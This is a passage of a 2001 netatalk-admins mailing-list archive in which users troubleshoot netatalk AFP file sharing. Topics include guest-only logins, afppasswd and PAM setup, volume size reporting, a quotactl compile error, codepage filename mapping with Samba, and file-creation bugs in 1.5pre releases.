From: Marcel Lammerse <lammerse@xs4all.nl>
To: Thomas Priore <tom@rupture.net>
cc: Appletalk On Linux <netatalk-admins@umich.edu>
Subject: RE: Help PLS, only guest can log in.
In-Reply-To: <BJEHJOBOINDBHAMFMOFAGEGICFAA.tom@rupture.net>
Message-ID: <Pine.BSI.4.10.10103080922350.8098-100000@xs3.xs4all.nl>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Ok..

Things I can think of:

- netatalk is not compiled with the -DUSE_PAM option and the pam-library
is not linked with the object files 

- the netatalk user in /etc/atalk/afppasswd exists, but pam requires that
the same users also exists as a Unix user. In that case, you might need
to add the user with the useradd command (on redhat at least). 

In my case, I had created a Unix account before I used the afppasswd
command. When I typed affpasswd -c , it extracted accounts from my Unix
password file and set the passwords to '***********'. I had to use the
afppasswd -a command to set the password in /etc/atalk/afppasswd. The
passwords for both accounts were the same in my case.

Incidently, does anyone know who to 'link' these two files? I'm probably
doing something wrong, but now I have to manage two account databases
which is very cumbersome.

You startup log messages look fine. 

When I get back from work I'll send you my configuration files etc.

Regards,

Marcel

--
Marcel Lammerse

			"One more time?"
				-Michael Flatley

On Wed, 7 Mar 2001, Thomas Priore wrote:

> Thanks for your help, I didn't get it working, but I'm much closer. I'm
> getting a new error from the Mac:
> "Unknown user, incorrect password, or log on disabled...."
> 
> there was no rand2numb.so, but randnumb.so was there. I think my problem now
> lies with the passwd file. I made the changes to afpd as you recommended:
>  - -transall -uamlist
> uams_randnum.so,uams_guest.so,uams_clrtxt.so,uams_dhx.so -passwdfile
> /etc/atalk/afppasswd -setpassword -savepassword
> 
> then I created the afppasswd file, and added a user with afppasswd.
> 
> Some thing interesting in the messages log, atalk seems to be coming up on
> the loop back address 127.0.0.1 and doesn't mention the actual ip of the
> server. Here is the messages log:
> 
> Mar  7 23:27:46 reznor atalkd[6634]: restart (1.5pre4)
> Mar  7 23:27:47 reznor atalkd[6634]: zip_getnetinfo for eth0
> Mar  7 23:28:06 reznor last message repeated 2 times
> Mar  7 23:28:16 reznor atalkd[6634]: config for no router
> Mar  7 23:28:17 reznor atalkd[6634]: ready 0/0/0
> Mar  7 23:28:17 reznor atalk: atalkd startup succeeded
> Mar  7 23:28:30 reznor papd[6649]: restart (1.5pre4)
> Mar  7 23:28:30 reznor atalk: papd startup succeeded
> Mar  7 23:28:30 reznor atalk: timelord startup succeeded
> Mar  7 23:28:30 reznor atalk: afpd startup succeeded
> Mar  7 23:28:36 reznor timelord[6659]: reznor:TimeLord started
> Mar  7 23:28:36 reznor afpd[6669]: reznor:AFPServer@* started on
> 65280.237:130 (1.5pre4)
> Mar  7 23:28:36 reznor afpd[6669]: ASIP started on 127.0.0.1:548(2)
> (1.5pre4)
> Mar  7 23:28:36 reznor afpd[6669]: uam: uams_randnum.so loaded
> Mar  7 23:28:36 reznor afpd[6669]: uam: uams_guest.so loaded
> Mar  7 23:28:36 reznor afpd[6669]: uam: uams_clrtxt.so loaded
> Mar  7 23:28:36 reznor afpd[6669]: uam: uams_dhx.so loaded
> Mar  7 23:28:36 reznor afpd[6669]: uam: "DHCAST128" available
> Mar  7 23:28:36 reznor afpd[6669]: uam: "Cleartxt Passwrd" available
> Mar  7 23:28:36 reznor afpd[6669]: uam: "No User Authent" available
> Mar  7 23:28:36 reznor afpd[6669]: uam: "2-Way Randnum exchange" available
> Mar  7 23:28:36 reznor afpd[6669]: uam: "Randnum exchange" available
> Mar  7 23:29:17 reznor afpd[6676]: ASIP session:548(2) from
> 192.168.0.2:49301(0)
> Mar  7 23:29:17 reznor afpd[6676]: 0.08KB read, 0.07KB written
> Mar  7 23:29:17 reznor afpd[6669]: server_child[1] 6676 done
> Mar  7 23:29:27 reznor afpd[6677]: ASIP session:548(2) from
> 192.168.0.2:49302(0)
> Mar  7 23:29:27 reznor afpd[6669]: server_child[1] 6677 done
> Mar  7 23:29:33 reznor afpd[6678]: ASIP session:548(2) from
> 192.168.0.2:49303(0)
> Mar  7 23:29:33 reznor afpd[6678]: 0.08KB read, 0.07KB written
> Mar  7 23:29:33 reznor afpd[6669]: server_child[1] 6678 done
> 
> 
> -----Original Message-----
> From: Marcel Lammerse [mailto:lammerse@xs4all.nl]
> Sent: Wednesday, March 07, 2001 3:53 AM
> To: Thomas Priore; netatalk-admins@umich.edu
> Subject: Re: Help PLS, only guest can log in.
> 
> 
> Hello Thomas,
> 
> it seems that I have had the exact same (first) problem. I can't explain
> your
> second problem, but here's something that might help you on your way. By the
> way, I have a Linux redhat 6.0 system and I'm using MacOS 9.0.4.
> 
> If you want to do user-authentication, netatalk needs to support a number of
> authentication methods. If you follow the instructions and compile netatalk
> with the pam modules and the des library, you can see in /var/log/messages
> which authentication methods are supported.
> 
> If you use the default configuration files for afpd, these methods are:
> cleartext password login, guest login and Diffie-Hellman/CAST-128. None of
> these will work, except for guest login.
> 
> What will work is if you look in /etc/atalk/uams and you find a randnum or
> rand2num file, encrypted random numbers are supported. You will need to
> configure this in afpd.conf. Just add it to uamslist. It should read
> something
> (I don't have Linux handy) like this:
> 
> "My volume" -transall -uamslist uams_randnum.so ...
> 
> If you've done that and you fire up netatalkd again (preferrable with the
> supplied script), you should see an additional supported authentication
> mechanism (encrypted random numbers).
> 
> Then what you need to do, is use the afppasswd command to create a password
> file and add your user to it. Something like:
> 
> afppasswd -c /etc/atalk/afppasswd
> afppasswd -a my-user
> [type password twice]
> 
> Then you should be able to connect to the share via your macintosh.
> 
> If anyone knows a better/more efficient way, I'd love to hear it. If you
> need
> any more help, just shout.
> 
> Regards,
> 
> Marcel
> 
> 
> Quoting Thomas Priore <tom@rupture.net>:
> 
> > Hi, I install netatalk 1.5pre4 on redhat linux 7.0. (actually I install a
> > bunch of different versions, from rpm and compiling) The problem seems to
> > be
> > that only guest can log on. From what I've read this seems to be a shadow
> > password problem, but I have no idea how to fix it. Can anyone help?
> >
> > I have a second problem too, which is more of a nuisance, the sever
> doesn't
> > show up in the client's chooser, the ip has to be typed in. Is there a fix
> > for this?
> >
> > Thanks.
> >
> > Tom
> >
> >
> 
> 
> 


From netatalk.administrators-errors@umich.edu  Thu Mar  8 03:49:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA14949
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Mar 2001 03:49:23 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA07548
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Mar 2001 03:49:23 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA07538
	for netatalk.administrators-members@umich.edu; Thu, 8 Mar 2001 03:49:23 -0500 (EST)
Received: from tsmtp2.mail.isp ([195.235.113.141])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA07509
	for <netatalk-admins@umich.edu>; Thu, 8 Mar 2001 03:49:21 -0500 (EST)
Received: from [10.0.0.3] ([213.97.106.73]) by tsmtp2.mail.isp
          (Netscape Messaging Server 4.15) with ESMTP id G9VF1V07.WJ0;
          Thu, 8 Mar 2001 09:46:43 +0100 
User-Agent: Microsoft-Entourage/9.0.2509
Date: Thu, 08 Mar 2001 09:49:15 +0100
Subject: Re: netatalk
From: Jason Quigley <jasonq@mac.com>
To: Kathy Quinlan <katinka@magestower.com>, <netatalk-admins@umich.edu>
Message-ID: <B6CD061A.438B%jasonq@mac.com>
In-Reply-To: <013501c0a79e$148b03a0$fe00a8c0@kat.lan>
Mime-version: 1.0
Sender: jason_quigley@terra.es
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi Kathy!

You need to create an entry in AppleVolumes.default pointing directly into
/temp like this:

/temp "PC Drive"

Netatalk is picking up the volume size from the mount point.

Cheers,
Jason.

On 8/3/01 8:04, "Kathy Quinlan" wrote:

> Hi all I am running netatalk on a FreeBSD server 4.1.1
> 
> I have one mac on the network, it connects to the users home directory which
> has a shared directory.
> 
> the Temp directory is a mount point for a windows drive.
> 
> The FreeBSD server's /usr dir has 15.6Mb free
> The windows machine has 9Gb free
> 
> from the mac I can see the windows dir (as the Temp mount point) but it
> shows the free space as 15.6Mb not the 9Gb.
> 
> I have tried making the mount point a (Temp) a sharity-light mount, and also
> as a symbolic link to a root mount (the root mount again is sharity-light
> mounted) but it still reports the size incorrectly.
> 
> if I do a df on the FreeBSD server, it shows the mount as having 9Gb free.
> 
> Any ideas ????
> 
> 
> Regards
> 
> Kat.
> 
> 


From netatalk.administrators-errors@umich.edu  Thu Mar  8 06:46:55 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA17685
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Mar 2001 06:46:55 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA18217
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Mar 2001 06:46:48 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA18193
	for netatalk.administrators-members@umich.edu; Thu, 8 Mar 2001 06:46:48 -0500 (EST)
Received: from mail2.passagen.se (mail2.passagen.se [195.163.107.11])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id GAA18134
	for <netatalk-admins@umich.edu>; Thu, 8 Mar 2001 06:46:46 -0500 (EST)
Received: from henrik (dynamic-195-164.dialup.chalmers.se [129.16.195.164]) by mail2.passagen.se (8.9.3/8.9.3/1.22)
	with SMTP id <MAA11133> for <netatalk-admins@umich.edu>; Thu, 8 Mar 2001 12:46:49 +0100 (MET)
Message-ID: <018901c0a7bd$2eab2700$a4c31081@henrik>
From: "Henrik" <hks@hem.passagen.se>
To: <netatalk-admins@umich.edu>
Subject: Can't compile
Date: Thu, 8 Mar 2001 11:47:31 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

Hello.

When I try to compile netatalk-1.4b2+asun2.1.3 it ends with an error:

..........DB2INCPATH="${DB2INCPATH}" \ afpd
make[4]: Entering directory `/usr/src/netatalk-1.4b2+asun2.1.3/etc/afpd'
gcc -DNEED_QUOTACTL_WRAPPER -O2 -fomit-frame-pointer -fsigned-char
-Wunused -Wuninitialized -I../../include -DAPPLCNAME -c -o unix.o unix.c
unix.c:26: conflicting types for `quotactl'
/usr/include/linux/quota.h:205: previous declaration of `quotactl'
make[4]: *** [unix.o] Error 1
make[4]: Leaving directory `/usr/src/netatalk-1.4b2+asun2.1.3/etc/afpd'
make[3]: *** [all] Error 2
....

I have Linux 2.4.2
I have tried the precompiled netatalk without shadow. I can't get it to
work, so that is no option.

Please help me.

Best regards
Henrik


From netatalk.administrators-errors@umich.edu  Thu Mar  8 08:55:34 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA19903
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Mar 2001 08:55:34 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA13927
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Mar 2001 08:55:27 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA13899
	for netatalk.administrators-members@umich.edu; Thu, 8 Mar 2001 08:55:26 -0500 (EST)
Received: from rakete.joerdens.de ([62.104.116.200])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA13676
	for <netatalk-admins@umich.edu>; Thu, 8 Mar 2001 08:55:18 -0500 (EST)
Received: (from frank@localhost)
	by rakete.joerdens.de (8.9.3/8.9.3) id OAA16097;
	Thu, 8 Mar 2001 14:55:13 +0100
Date: Thu, 8 Mar 2001 14:55:13 +0100
From: Frank Joerdens <frank@joerdens.de>
To: "Bruce A. Burdick, Jr." <bucky@interaccess.com>
Cc: Netatalk Mailing List <netatalk-admins@umich.edu>
Subject: Re: Samba and Netatalk
Message-ID: <20010308145513.A15988@rakete.joerdens.de>
References: <20010307213126.B12210@rakete.joerdens.de> <B6CC4035.12A18%bucky@interaccess.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
User-Agent: Mutt/1.1.2i
In-Reply-To: <B6CC4035.12A18%bucky@interaccess.com>; from bucky@interaccess.com on Wed, Mar 07, 2001 at 07:44:54PM -0600
X-Subliminal-Message: Use Linux! Use Linux!

On Wed, Mar 07, 2001 at 07:44:54PM -0600, Bruce A. Burdick, Jr. wrote:
[ . . . ]
> > which the PC can't deal with (my PC actually crashes when trying to
> > access a file containing ':' that was created on the Mac).
> 
> How did you create a filename with ':' in it? For as long as I can remember,
> every time I type a ':' in a filename, the Finder replaces it instantly with
> a '-'. The Mac uses colons the same way *nix uses '/' or DOS/Windows uses
> '\' -- to terminate directory names in file paths. They are gracefully
> disallowed in filenames.

For the first few weeks of running the Netatalk/Samba combination, I
didn't have the codepage support switched on (didn't know about it or
couldn't get it to work, or something in between). The files that where
created in those first few weeks appear with ugly things like '9:' in
their names where the Mac users used umlauts. Now, with codepage support
enabled, i.e.

character set = iso8859-1

in /etc/smb.conf

and e.g. 

/mnt/zeug	zeug	codepage=maccode.iso8859-1

in /etc/atalk/AppleVolumes.default

if I create a Folder with '/' in its name on a Mac, it will show up as
':2f' on the PC.

Regards, Frank

From netatalk.administrators-errors@umich.edu  Thu Mar  8 09:20:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA20731
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Mar 2001 09:20:57 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA05008
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Mar 2001 09:20:57 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA04978
	for netatalk.administrators-members@umich.edu; Thu, 8 Mar 2001 09:20:57 -0500 (EST)
Received: from mail.hauptsache.net (www.hauptsache.net [195.88.44.25])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA04916
	for <netatalk-admins@umich.edu>; Thu, 8 Mar 2001 09:20:54 -0500 (EST)
Received: from lespaul (pD95000B2.dip.t-dialin.net [217.80.0.178])
	by mail.hauptsache.net (8.9.3/8.9.3) with SMTP id PAA26235
	for <netatalk-admins@umich.edu>; Thu, 8 Mar 2001 15:03:48 +0100
Message-ID: <00e301c0a7db$33a67fc0$4dc8a8c0@hauptsache.intra>
From: "Nikolas Hagelstein" <hagelstein@hauptsache.net>
To: <netatalk-admins@umich.edu>
Subject: 1.5pre5 and 1.5pre4 broken..
Date: Thu, 8 Mar 2001 15:22:22 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200

Hi,

netatalk1.5pre4 and pre5 behave  very strange when trying to create a new
file or overwrite an existing one ...
On the clients side this results in several error messages  claiming about
files in use...

here is the output of an ls -li on .Appledouble ....

    971 -rw-rw-r--    1 baboo    users      121887 Mar  8 11:23 874048
    973 ----------     1 baboo    users         589 Mar  8 14:29 874074
    915 -rw-rw-r--    1 baboo    users       93891 Mar  8 11:05 874075
    347 ----------    1 baboo    users         589 Mar  8 14:28 874083
    863 -rw-rw-r--    1 baboo    users       49408 Mar  8 10:52 874085

874074 and 874083 are the affected files :)....
Downgrading to "1.5pre3 with codepagepatch " and removing the files manually
solves the problem in my case...
I verified the problem in different environments.... RH7.0 and
MDK7.2....e.g.

BTW: strage thing in 1.5pre3 is that sometimes users are able to see the
Network Trash Folder ....

any Ideas,
                                        Niko







From netatalk.administrators-errors@umich.edu  Thu Mar  8 10:55:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA23316
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Mar 2001 10:55:08 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA19064
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Mar 2001 10:55:08 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA18843
	for netatalk.administrators-members@umich.edu; Thu, 8 Mar 2001 10:52:49 -0500 (EST)
Received: from rakete.joerdens.de ([62.104.116.200])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA17071
	for <netatalk-admins@umich.edu>; Thu, 8 Mar 2001 10:50:58 -0500 (EST)
Received: (from frank@localhost)
	by rakete.joerdens.de (8.9.3/8.9.3) id QAA16666;
	Thu, 8 Mar 2001 16:50:48 +0100
Date: Thu, 8 Mar 2001 16:50:48 +0100
From: Frank Joerdens <frank@joerdens.de>
To: Niall O Broin <niall@magicgoeshere.com>
Cc: Frank Joerdens <frank@joerdens.de>, netatalk-admins@umich.edu
Subject: Re: Samba and Netatalk
Message-ID: <20010308165048.A16628@rakete.joerdens.de>
References: <20010307213126.B12210@rakete.joerdens.de> <B6CC4035.12A18%bucky@interaccess.com> <20010308145513.A15988@rakete.joerdens.de> <20010308143417.B691@bagend.local>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
User-Agent: Mutt/1.1.2i
In-Reply-To: <20010308143417.B691@bagend.local>; from niall@magicgoeshere.com on Thu, Mar 08, 2001 at 02:34:17PM +0000
X-Subliminal-Message: Use Linux! Use Linux!

On Thu, Mar 08, 2001 at 02:34:17PM +0000, Niall O Broin wrote:
[ . . . ]
> > if I create a Folder with '/' in its name on a Mac, it will show up as
> > ':2f' on the PC.
> 
> On the PC which is the server, do you mean ? Because you won't see :2f in a
> 'doze Explorer list - it'll mangle the filename to something with a ~ in it.

No, I mean on my NT box (NT 4.0 Workstation SP 6a) I see :2f in the
filename served by the Netatalk/Samba Linux PC. Trying to open a file or
folder with somthing like this in it doesn't always crash my NT box;
most of the time it will just say that the file does not exist. Quite
often though, I get a blue screen of death, and I need to reset my NT
PC (no graceful recovery possible). I haven't been able to figure out
exactly under which circumstances the crash occurs but it always happens
when I try to access funny folder or filenames.

Regards, Frank

From netatalk.administrators-errors@umich.edu  Thu Mar  8 10:57:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA23440
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Mar 2001 10:57:15 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA19718
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Mar 2001 10:57:15 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA19397
	for netatalk.administrators-members@umich.edu; Thu, 8 Mar 2001 10:36:05 -0500 (EST)
Received: from cnp4tssm.condenast.com (cnp4tssm.condenast.com [204.252.201.5])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA19368
	for <netatalk-admins@umich.edu>; Thu, 8 Mar 2001 10:36:04 -0500 (EST)
From: Steve_Kreuzer@condenast.com
Received: from Beethoven.condenast.com (localhost [127.0.0.1])
	by cnp4tssm.condenast.com (Pro-8.9.3/8.9.3) with SMTP id KAA16528
	for <netatalk-admins@umich.edu>; Thu, 8 Mar 2001 10:36:02 -0500 (EST)
Received: by Beethoven.condenast.com(Lotus SMTP MTA v4.6.5  (863.2 5-20-1999))  id 85256A09.0055A09D ; Thu, 8 Mar 2001 10:35:16 -0500
X-Lotus-FromDomain: CNP
To: netatalk-admins@umich.edu
Message-ID: <85256A09.00559EE0.00@Beethoven.condenast.com>
Date: Thu, 8 Mar 2001 10:34:01 -0500
Subject: Quick Question
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline



I have Red Hat 7.0 running and recently downloaded the 1.5pre4 RPM and it
install without a problem, however, only guests can log in.. The FAQ states that
this is because netatalk needs to be compiled with shadow support.. Is there any
way I can get shadow support with the RPM?

-Steve



From netatalk.administrators-errors@umich.edu  Thu Mar  8 11:06:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA23709
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Mar 2001 11:06:14 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA29800
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Mar 2001 11:06:07 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA29758
	for netatalk.administrators-members@umich.edu; Thu, 8 Mar 2001 11:06:06 -0500 (EST)
Received: from mail.magicgoeshere.com (NW152-60.indigo.ie [194.125.152.60] (may be forged))
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA16959
	for <netatalk-admins@umich.edu>; Thu, 8 Mar 2001 10:36:10 -0500 (EST)
Received: from bagend.local (b-airlock091.esatclear.ie [194.145.131.91])
	by mail.magicgoeshere.com (Postfix) with ESMTP
	id 90391FB1B; Thu,  8 Mar 2001 15:27:58 +0000 (GMT)
Received: (from niall@localhost)
	by bagend.local (8.9.3/8.9.3) id OAA01026;
	Thu, 8 Mar 2001 14:34:17 GMT
Date: Thu, 8 Mar 2001 14:34:17 +0000
From: Niall O Broin <niall@magicgoeshere.com>
To: Frank Joerdens <frank@joerdens.de>
Cc: netatalk-admins@umich.edu
Subject: Re: Samba and Netatalk
Message-ID: <20010308143417.B691@bagend.local>
References: <20010307213126.B12210@rakete.joerdens.de> <B6CC4035.12A18%bucky@interaccess.com> <20010308145513.A15988@rakete.joerdens.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010308145513.A15988@rakete.joerdens.de>; from frank@joerdens.de on Thu, Mar 08, 2001 at 02:55:13PM +0100

On Thu, Mar 08, 2001 at 02:55:13PM +0100, Frank Joerdens wrote:

> On Wed, Mar 07, 2001 at 07:44:54PM -0600, Bruce A. Burdick, Jr. wrote:
> [ . . . ]
> > > which the PC can't deal with (my PC actually crashes when trying to
> > > access a file containing ':' that was created on the Mac).
> > 
> > How did you create a filename with ':' in it? For as long as I can remember,
> > every time I type a ':' in a filename, the Finder replaces it instantly with
> > a '-'. The Mac uses colons the same way *nix uses '/' or DOS/Windows uses
> > '\' -- to terminate directory names in file paths. They are gracefully
> > disallowed in filenames.

The filename with ':' in it is simply created by creating a file on a Mac
with some character which is mapped e.g. / (maps to :2f), which cannot be in
a Unix filename for the reason you already mentioned i.e. it is the
directory separator.

> if I create a Folder with '/' in its name on a Mac, it will show up as
> ':2f' on the PC.

On the PC which is the server, do you mean ? Because you won't see :2f in a
'doze Explorer list - it'll mangle the filename to something with a ~ in it.




Regards,



Niall  O Broin

From netatalk.administrators-errors@umich.edu  Thu Mar  8 11:15:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA24045
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Mar 2001 11:15:29 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA13560
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Mar 2001 11:15:23 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA12834
	for netatalk.administrators-members@umich.edu; Thu, 8 Mar 2001 11:14:52 -0500 (EST)
Received: from boson.linvision.com (boson.linvision.com [194.151.176.146])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA20597
	for <netatalk-admins@umich.edu>; Thu, 8 Mar 2001 10:39:00 -0500 (EST)
From: g.roest@linvision.com
Received: from alpha01.linvision.intern (users2.linvision.com [194.151.176.145])
	by boson.linvision.com (8.9.3/8.9.3) with ESMTP id QAA23918
	for <netatalk-admins@umich.edu>; Thu, 8 Mar 2001 16:38:29 +0100
Subject: Re: 1.5pre5 and 1.5pre4 broken..
To: <netatalk-admins@umich.edu>
X-Mailer: Lotus Notes Release 5.0.6a  January 17, 2001
Message-ID: <OFDA6FA330.B1ACF152-ONC1256A09.0055C523@linvision.intern>
Date: Thu, 8 Mar 2001 16:38:28 +0100
X-MIMETrack: Serialize by Router on alpha01/bvit(Release 5.0.3 (Intl)|21 March 2000) at
 08/03/2001 04:38:29 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii


Hi,

I saw the same kind of thing with 1.5pre5, RH7 and kernel 2.4.2. People
couldn't create files, with the same result as Nikolas showed.

Greetings,

Gerben.

---
Linvision BV               tel: 015-7502310
Elektronicaweg 16 d          fax: 015-7502319
2628 XG Delft             g.roest@linvision.com
The Netherlands         www.linvision.com


                                                                                                                  
                    "Nikolas                                                                                      
                    Hagelstein"              To:     <netatalk-admins@umich.edu>                                  
                    <hagelstein@haupt        cc:                                                                  
                    sache.net>               Subject:     1.5pre5 and 1.5pre4 broken..                            
                                                                                                                  
                    08-03-2001 15:22                                                                              
                                                                                                                  
                                                                                                                  




Hi,

netatalk1.5pre4 and pre5 behave  very strange when trying to create a new
file or overwrite an existing one ...
On the clients side this results in several error messages  claiming about
files in use...

here is the output of an ls -li on .Appledouble ....

    971 -rw-rw-r--    1 baboo    users      121887 Mar  8 11:23 874048
    973 ----------     1 baboo    users         589 Mar  8 14:29 874074
    915 -rw-rw-r--    1 baboo    users       93891 Mar  8 11:05 874075
    347 ----------    1 baboo    users         589 Mar  8 14:28 874083
    863 -rw-rw-r--    1 baboo    users       49408 Mar  8 10:52 874085

874074 and 874083 are the affected files :)....
Downgrading to "1.5pre3 with codepagepatch " and removing the files
manually
solves the problem in my case...
I verified the problem in different environments.... RH7.0 and
MDK7.2....e.g.

BTW: strage thing in 1.5pre3 is that sometimes users are able to see the
Network Trash Folder ....

any Ideas,
                                        Niko










From netatalk.administrators-errors@umich.edu  Thu Mar  8 11:34:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA24557
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Mar 2001 11:34:32 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA11405
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Mar 2001 11:34:25 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA11382
	for netatalk.administrators-members@umich.edu; Thu, 8 Mar 2001 11:34:24 -0500 (EST)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA10710
	for <netatalk-admins@umich.edu>; Thu, 8 Mar 2001 11:34:17 -0500 (EST)
Received: from univrel.pr.uconn.edu (root@test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.8.7/8.8.7) with ESMTP id LAA20820;
	Thu, 8 Mar 2001 11:34:00 -0500
Sender: root@univrel.pr.uconn.edu
Message-ID: <3AA7B3D6.898A2469@univrel.pr.uconn.edu>
Date: Thu, 08 Mar 2001 11:31:18 -0500
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.0-0.14mdk i686)
X-Accept-Language: en
MIME-Version: 1.0
